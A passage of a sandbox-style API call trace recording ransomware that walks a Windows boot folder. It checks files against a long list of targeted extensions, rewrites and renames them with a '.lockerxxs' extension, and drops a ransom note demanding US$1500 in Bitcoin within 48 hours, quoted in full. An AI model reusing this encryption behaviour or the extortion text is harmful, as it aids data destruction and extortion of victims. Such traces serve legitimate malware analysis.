lstrlenA (lpString="*.bz2") returned 5 [0057.071] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.gz") returned 0 [0057.071] lstrlenA (lpString="*.gz") returned 4 [0057.071] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.mkv") returned 0 [0057.071] lstrlenA (lpString="*.mkv") returned 5 [0057.071] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.eml") returned 0 [0057.072] lstrlenA (lpString="*.eml") returned 5 [0057.072] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.msg") returned 0 [0057.072] lstrlenA (lpString="*.msg") returned 5 [0057.072] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.edb") returned 0 [0057.072] lstrlenA (lpString="*.edb") returned 5 [0057.072] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.accdb") returned 0 [0057.072] lstrlenA (lpString="*.accdb") returned 7 [0057.072] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.odb") returned 0 [0057.072] lstrlenA (lpString="*.odb") returned 5 [0057.072] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.java") returned 0 [0057.072] lstrlenA (lpString="*.java") returned 6 [0057.072] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.asm") returned 0 [0057.072] lstrlenA (lpString="*.asm") returned 5 [0057.072] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.pfx") returned 0 [0057.072] lstrlenA (lpString="*.pfx") returned 5 [0057.072] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.pem") returned 0 [0057.072] lstrlenA (lpString="*.pem") returned 5 [0057.072] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.p12") returned 0 [0057.072] lstrlenA (lpString="*.p12") returned 5 [0057.072] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.gpg") returned 0 [0057.072] lstrlenA (lpString="*.gpg") returned 5 [0057.072] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.vsd") returned 0 [0057.073] lstrlenA (lpString="*.vsd") returned 5 [0057.073] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.odg") returned 0 [0057.073] lstrlenA (lpString="*.odg") returned 5 [0057.073] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.raw") returned 0 [0057.073] lstrlenA (lpString="*.raw") returned 5 [0057.073] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.nef") returned 0 [0057.073] lstrlenA (lpString="*.nef") returned 5 [0057.073] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.svg") returned 0 [0057.073] lstrlenA (lpString="*.svg") returned 5 [0057.073] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.psd") returned 0 [0057.073] lstrlenA (lpString="*.psd") returned 5 [0057.073] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.vmx") returned 0 [0057.073] lstrlenA (lpString="*.vmx") returned 5 [0057.073] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.vmdk") returned 0 [0057.073] lstrlenA (lpString="*.vmdk") returned 6 [0057.073] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.vdi") returned 0 [0057.073] lstrlenA (lpString="*.vdi") returned 5 [0057.073] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.lay6") returned 0 [0057.073] lstrlenA (lpString="*.lay6") returned 6 [0057.073] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.mpeg") returned 0 [0057.073] lstrlenA (lpString="*.mpeg") returned 6 [0057.073] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.djvu") returned 0 [0057.074] lstrlenA (lpString="*.djvu") returned 6 [0057.074] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.tiff") returned 0 [0057.074] lstrlenA (lpString="*.tiff") returned 6 [0057.074] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.backup") returned 0 [0057.074] lstrlenA (lpString="*.backup") returned 8 [0057.074] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.pdf") returned 0 [0057.074] lstrlenA (lpString="*.pdf") returned 5 [0057.074] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.cert") returned 0 [0057.074] lstrlenA (lpString="*.cert") returned 6 [0057.074] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.docm") returned 0 [0057.074] lstrlenA (lpString="*.docm") returned 6 [0057.074] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.xlsm") returned 0 [0057.074] lstrlenA (lpString="*.xlsm") returned 6 [0057.074] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.dwg") returned 0 [0057.074] lstrlenA (lpString="*.dwg") returned 5 [0057.074] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.nd") returned 0 [0057.074] lstrlenA (lpString="*.nd") returned 4 [0057.074] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.tlg") returned 0 [0057.074] lstrlenA (lpString="*.tlg") returned 5 [0057.075] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.lgb") returned 0 [0057.075] lstrlenA (lpString="*.lgb") returned 5 [0057.075] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.mov") returned 0 [0057.075] lstrlenA (lpString="*.mov") returned 5 [0057.075] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.xdw") returned 0 [0057.075] lstrlenA (lpString="*.xdw") returned 5 [0057.075] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.ods") returned 0 [0057.075] lstrlenA (lpString="*.ods") returned 5 [0057.075] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.wav") returned 0 [0057.075] lstrlenA (lpString="*.wav") returned 5 [0057.075] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.mp3") returned 0 [0057.075] lstrlenA (lpString="*.mp3") returned 5 [0057.075] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.aiff") returned 0 [0057.075] lstrlenA (lpString="*.aiff") returned 6 [0057.075] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.flac") returned 0 [0057.075] lstrlenA (lpString="*.flac") returned 6 [0057.075] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.m4a") returned 0 [0057.075] lstrlenA (lpString="*.m4a") returned 5 [0057.075] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.csv") returned 0 [0057.075] lstrlenA (lpString="*.csv") returned 5 [0057.076] FindNextFileA (in: hFindFile=0x4f6020, lpFindFileData=0x18fce8 | out: lpFindFileData=0x18fce8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0057.076] PeekMessageA (in: lpMsg=0x18fcc4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fcc4) returned 0 [0057.076] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BOOTSTAT.DAT") returned 1 [0057.076] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BOOTSTAT.DAT") returned 1 [0057.076] lstrcmpiA (lpString1="", lpString2="BOOTSTAT.DAT") returned -1 [0057.076] PathFindFileNameA (pszPath="C:\\Boot\\BCD.LOG2") returned="BCD.LOG2" [0057.076] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Boot\\" | out: lpString1="C:\\Boot\\") returned="C:\\Boot\\" [0057.076] PathAddBackslashA (in: pszPath="C:\\Boot\\" | out: pszPath="C:\\Boot\\") returned="" [0057.076] lstrcatA (in: lpString1="C:\\Boot\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Boot\\HOW TO DECRYPT FILES.txt") returned="C:\\Boot\\HOW TO DECRYPT FILES.txt" [0057.076] GetFileAttributesA (lpFileName="C:\\Boot\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\boot\\how to decrypt files.txt")) returned 0x20 [0057.076] lstrcatA (in: lpString1="C:\\Boot\\", lpString2="BOOTSTAT.DAT" | out: lpString1="C:\\Boot\\BOOTSTAT.DAT") returned="C:\\Boot\\BOOTSTAT.DAT" [0057.076] PathMatchSpecA (pszFile="C:\\Boot\\BOOTSTAT.DAT", pszSpec="*.ems") returned 0 [0057.076] lstrlenA (lpString="*.ems") returned 5 [0057.076] PathMatchSpecA (pszFile="C:\\Boot\\BOOTSTAT.DAT", pszSpec="*.db") returned 0 [0057.076] lstrlenA (lpString="*.db") returned 4 [0057.076] PathMatchSpecA (pszFile="C:\\Boot\\BOOTSTAT.DAT", pszSpec="*.dbf") returned 0 [0057.077] lstrlenA (lpString="*.dbf") returned 5 [0057.077] PathMatchSpecA (pszFile="C:\\Boot\\BOOTSTAT.DAT", pszSpec="*.myox") returned 0 [0057.077] lstrlenA (lpString="*.myox") returned 6 [0057.077] PathMatchSpecA (pszFile="C:\\Boot\\BOOTSTAT.DAT", pszSpec="*.myo") returned 0 [0057.077] lstrlenA (lpString="*.myo") returned 5 [0057.077] PathMatchSpecA (pszFile="C:\\Boot\\BOOTSTAT.DAT", pszSpec="*.qbw") returned 0 [0057.077] lstrlenA (lpString="*.qbw") returned 5 [0057.077] PathMatchSpecA (pszFile="C:\\Boot\\BOOTSTAT.DAT", pszSpec="*.qbb") returned 0 [0057.077] lstrlenA (lpString="*.qbb") returned 5 [0057.077] PathMatchSpecA (pszFile="C:\\Boot\\BOOTSTAT.DAT", pszSpec="*.qbm") returned 0 [0057.077] lstrlenA (lpString="*.qbm") returned 5 [0057.077] PathMatchSpecA (pszFile="C:\\Boot\\BOOTSTAT.DAT", pszSpec="*.qbo") returned 0 [0057.079] lstrlenA (lpString="*.qbo") returned 5 [0057.079] PathMatchSpecA (pszFile="C:\\Boot\\BOOTSTAT.DAT", pszSpec="*.qbx") returned 0 [0057.079] lstrlenA (lpString="*.qbx") returned 5 [0057.079] PathMatchSpecA (pszFile="C:\\Boot\\BOOTSTAT.DAT", pszSpec="*.qba") returned 0 [0057.079] lstrlenA (lpString="*.qba") returned 5 [0057.079] PathMatchSpecA (pszFile="C:\\Boot\\BOOTSTAT.DAT", pszSpec="*.qby") returned 0 [0057.079] lstrlenA (lpString="*.qby") returned 5 [0057.079] PathMatchSpecA (pszFile="C:\\Boot\\BOOTSTAT.DAT", pszSpec="*.qbj") returned 0 [0057.079] lstrlenA (lpString="*.qbj") returned 5 [0057.079] PathMatchSpecA (pszFile="C:\\Boot\\BOOTSTAT.DAT", pszSpec="*.ofx") returned 0 [0057.079] lstrlenA (lpString="*.ofx") returned 5 [0057.079] PathMatchSpecA (pszFile="C:\\Boot\\BOOTSTAT.DAT", pszSpec="*.qif") returned 0 [0057.079] lstrlenA (lpString="*.qif") returned 5 [0057.079] PathMatchSpecA (pszFile="C:\\Boot\\BOOTSTAT.DAT", pszSpec="*.mye") returned 0 [0057.079] lstrlenA (lpString="*.mye") returned 5 [0057.079] PathMatchSpecA (pszFile="C:\\Boot\\BOOTSTAT.DAT", pszSpec="*.mbox") returned 0 [0057.079] lstrlenA (lpString="*.mbox") returned 6 [0057.079] PathMatchSpecA (pszFile="C:\\Boot\\BOOTSTAT.DAT", pszSpec="*.eml") returned 0 [0057.079] lstrlenA (lpString="*.eml") returned 5 [0057.080] PathMatchSpecA (pszFile="C:\\Boot\\BOOTSTAT.DAT", pszSpec="*.pst") returned 0 [0057.080] lstrlenA (lpString="*.pst") returned 5 [0057.080] PathMatchSpecA (pszFile="C:\\Boot\\BOOTSTAT.DAT", pszSpec="*.ost") returned 0 [0057.080] lstrlenA (lpString="*.ost") returned 5 [0057.080] PathMatchSpecA (pszFile="C:\\Boot\\BOOTSTAT.DAT", pszSpec="*.idx") returned 0 [0057.080] lstrlenA (lpString="*.idx") returned 5 [0057.080] PathMatchSpecA (pszFile="C:\\Boot\\BOOTSTAT.DAT", pszSpec="*.dbx") returned 0 [0057.080] lstrlenA (lpString="*.dbx") returned 5 [0057.080] PathMatchSpecA (pszFile="C:\\Boot\\BOOTSTAT.DAT", pszSpec="*.sql") returned 0 [0057.080] lstrlenA (lpString="*.sql") returned 5 [0057.080] PathMatchSpecA (pszFile="C:\\Boot\\BOOTSTAT.DAT", pszSpec="*.mdb") returned 0 [0057.080] lstrlenA (lpString="*.mdb") returned 5 [0057.080] PathMatchSpecA (pszFile="C:\\Boot\\BOOTSTAT.DAT", pszSpec="*.fdb") returned 0 [0057.080] lstrlenA (lpString="*.fdb") returned 5 [0057.080] PathMatchSpecA (pszFile="C:\\Boot\\BOOTSTAT.DAT", pszSpec="*.wab") returned 0 [0057.080] lstrlenA (lpString="*.wab") returned 5 [0057.080] PathMatchSpecA (pszFile="C:\\Boot\\BOOTSTAT.DAT", pszSpec="*.dat") returned 1 [0057.080] lstrlenA (lpString="*.dat") returned 5 [0057.080] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Boot\\BOOTSTAT.DAT" | out: lpString1="C:\\Boot\\BOOTSTAT.DAT") returned="C:\\Boot\\BOOTSTAT.DAT" [0057.081] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Boot\\BOOTSTAT.DAT" | out: lpString1="C:\\Boot\\BOOTSTAT.DAT") returned="C:\\Boot\\BOOTSTAT.DAT" [0057.081] lstrcatA (in: lpString1="C:\\Boot\\BOOTSTAT.DAT", lpString2="." | out: lpString1="C:\\Boot\\BOOTSTAT.DAT.") returned="C:\\Boot\\BOOTSTAT.DAT." [0057.081] lstrcatA (in: lpString1="C:\\Boot\\BOOTSTAT.DAT.", lpString2="lockerxxs" | out: lpString1="C:\\Boot\\BOOTSTAT.DAT.lockerxxs") returned="C:\\Boot\\BOOTSTAT.DAT.lockerxxs" [0057.081] CreateFileA (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x74 [0057.104] GetFileSize (in: hFile=0x74, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x10000 [0057.104] GetFileTime (in: hFile=0x74, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xac0f9880, dwHighDateTime=0x1d2de32), lpLastAccessTime=0x407536*(dwLowDateTime=0xac0f9880, dwHighDateTime=0x1d2de32), lpLastWriteTime=0x40753e*(dwLowDateTime=0xac0f9880, dwHighDateTime=0x1d2de32)) returned 1 [0057.104] SetFilePointer (in: hFile=0x74, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0057.104] ReadFile (in: hFile=0x74, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xffda, lpOverlapped=0x0) returned 1 [0057.138] PathFindFileNameA (pszPath="C:\\Boot\\BOOTSTAT.DAT") returned="BOOTSTAT.DAT" [0057.138] SetFilePointer (in: hFile=0x74, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0057.138] WriteFile (in: hFile=0x74, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xffda, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xffda, lpOverlapped=0x0) returned 1 [0057.139] SetFileTime (hFile=0x74, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0057.139] CloseHandle (hObject=0x74) returned 1 [0057.141] MoveFileA (lpExistingFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), lpNewFileName="C:\\Boot\\BOOTSTAT.DAT.lockerxxs" (normalized: "c:\\boot\\bootstat.dat.lockerxxs")) returned 1 [0057.142] FindNextFileA (in: hFindFile=0x4f6020, lpFindFileData=0x18fce8 | out: lpFindFileData=0x18fce8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4000004, dwReserved1=0x4f6000, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0057.142] lstrcmpA (lpString1=".", lpString2="cs-CZ") returned -1 [0057.142] lstrcmpA (lpString1="..", lpString2="cs-CZ") returned -1 [0057.142] PathFindFileNameA (pszPath="C:\\Boot\\BOOTSTAT.DAT") returned="BOOTSTAT.DAT" [0057.142] lstrcatA (in: lpString1="C:\\Boot\\", lpString2="cs-CZ" | out: lpString1="C:\\Boot\\cs-CZ") returned="C:\\Boot\\cs-CZ" [0057.143] lstrlenA (lpString="C:\\Boot\\cs-CZ") returned 13 [0057.143] FindFirstFileA (in: lpFileName="C:\\Boot\\cs-CZ\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x540053, dwReserved1=0x540041, cFileName=".", cAlternateFileName="")) returned 0x4f7098 [0057.143] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0057.143] FindNextFileA (in: hFindFile=0x4f7098, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x540000, cFileName="..", cAlternateFileName="")) returned 1 [0057.143] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0057.143] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0057.143] FindNextFileA (in: hFindFile=0x4f7098, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0057.143] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0057.143] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgr.exe.mui") returned 1 [0057.143] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgr.exe.mui") returned 1 [0057.143] lstrcmpiA (lpString1="", lpString2="bootmgr.exe.mui") returned -1 [0057.143] PathFindFileNameA (pszPath="C:\\Boot\\cs-CZ\\*.*") returned="*.*" [0057.143] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Boot\\cs-CZ\\" | out: lpString1="C:\\Boot\\cs-CZ\\") returned="C:\\Boot\\cs-CZ\\" [0057.143] PathAddBackslashA (in: pszPath="C:\\Boot\\cs-CZ\\" | out: pszPath="C:\\Boot\\cs-CZ\\") returned="" [0057.143] lstrcatA (in: lpString1="C:\\Boot\\cs-CZ\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Boot\\cs-CZ\\HOW TO DECRYPT FILES.txt") returned="C:\\Boot\\cs-CZ\\HOW TO DECRYPT FILES.txt" [0057.144] GetFileAttributesA (lpFileName="C:\\Boot\\cs-CZ\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\boot\\cs-cz\\how to decrypt files.txt")) returned 0xffffffff [0057.144] CreateFileA (lpFileName="C:\\Boot\\cs-CZ\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\boot\\cs-cz\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x84 [0057.144] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0057.144] WriteFile (in: hFile=0x84, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0057.145] SetFileTime (hFile=0x84, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0057.145] CloseHandle (hObject=0x84) returned 1 [0057.146] lstrcatA (in: lpString1="C:\\Boot\\cs-CZ\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" [0057.146] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.ems") returned 0 [0057.146] lstrlenA (lpString="*.ems") returned 5 [0057.146] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.db") returned 0 [0057.146] lstrlenA (lpString="*.db") returned 4 [0057.146] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.dbf") returned 0 [0057.146] lstrlenA (lpString="*.dbf") returned 5 [0057.146] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.myox") returned 0 [0057.146] lstrlenA (lpString="*.myox") returned 6 [0057.146] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.myo") returned 0 [0057.146] lstrlenA (lpString="*.myo") returned 5 [0057.146] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.qbw") returned 0 [0057.146] lstrlenA (lpString="*.qbw") returned 5 [0057.146] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.qbb") returned 0 [0057.146] lstrlenA (lpString="*.qbb") returned 5 [0057.146] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.qbm") returned 0 [0057.146] lstrlenA (lpString="*.qbm") returned 5 [0057.146] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.qbo") returned 0 [0057.146] lstrlenA (lpString="*.qbo") returned 5 [0057.146] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.qbx") returned 0 [0057.146] lstrlenA (lpString="*.qbx") returned 5 [0057.146] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.qba") returned 0 [0057.146] lstrlenA (lpString="*.qba") returned 5 [0057.147] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.qby") returned 0 [0057.147] lstrlenA (lpString="*.qby") returned 5 [0057.147] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.qbj") returned 0 [0057.147] lstrlenA (lpString="*.qbj") returned 5 [0057.147] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.ofx") returned 0 [0057.147] lstrlenA (lpString="*.ofx") returned 5 [0057.147] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.qif") returned 0 [0057.147] lstrlenA (lpString="*.qif") returned 5 [0057.147] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.mye") returned 0 [0057.147] lstrlenA (lpString="*.mye") returned 5 [0057.147] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.mbox") returned 0 [0057.147] lstrlenA (lpString="*.mbox") returned 6 [0057.147] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.eml") returned 0 [0057.147] lstrlenA (lpString="*.eml") returned 5 [0057.147] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.pst") returned 0 [0057.147] lstrlenA (lpString="*.pst") returned 5 [0057.147] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.ost") returned 0 [0057.147] lstrlenA (lpString="*.ost") returned 5 [0057.147] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.idx") returned 0 [0057.147] lstrlenA (lpString="*.idx") returned 5 [0057.147] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.dbx") returned 0 [0057.147] lstrlenA (lpString="*.dbx") returned 5 [0057.147] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.sql") returned 0 [0057.147] lstrlenA (lpString="*.sql") returned 5 [0057.147] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.mdb") returned 0 [0057.147] lstrlenA (lpString="*.mdb") returned 5 [0057.147] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.fdb") returned 0 [0057.148] lstrlenA (lpString="*.fdb") returned 5 [0057.148] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.wab") returned 0 [0057.148] lstrlenA (lpString="*.wab") returned 5 [0057.148] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.dat") returned 0 [0057.148] lstrlenA (lpString="*.dat") returned 5 [0057.148] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.txt") returned 0 [0057.148] lstrlenA (lpString="*.txt") returned 5 [0057.148] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.jpeg") returned 0 [0057.148] lstrlenA (lpString="*.jpeg") returned 6 [0057.148] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.jpg") returned 0 [0057.148] lstrlenA (lpString="*.jpg") returned 5 [0057.148] PathMatchSpecA (pszFile="C:\\Boot\\cs-CZ\\bootmgr.exe.mui", pszSpec="*.png") returned 0 [0057.148] lstrlenA (lpString="*.png") returned 5 [0057.148] PathMatchSpecA 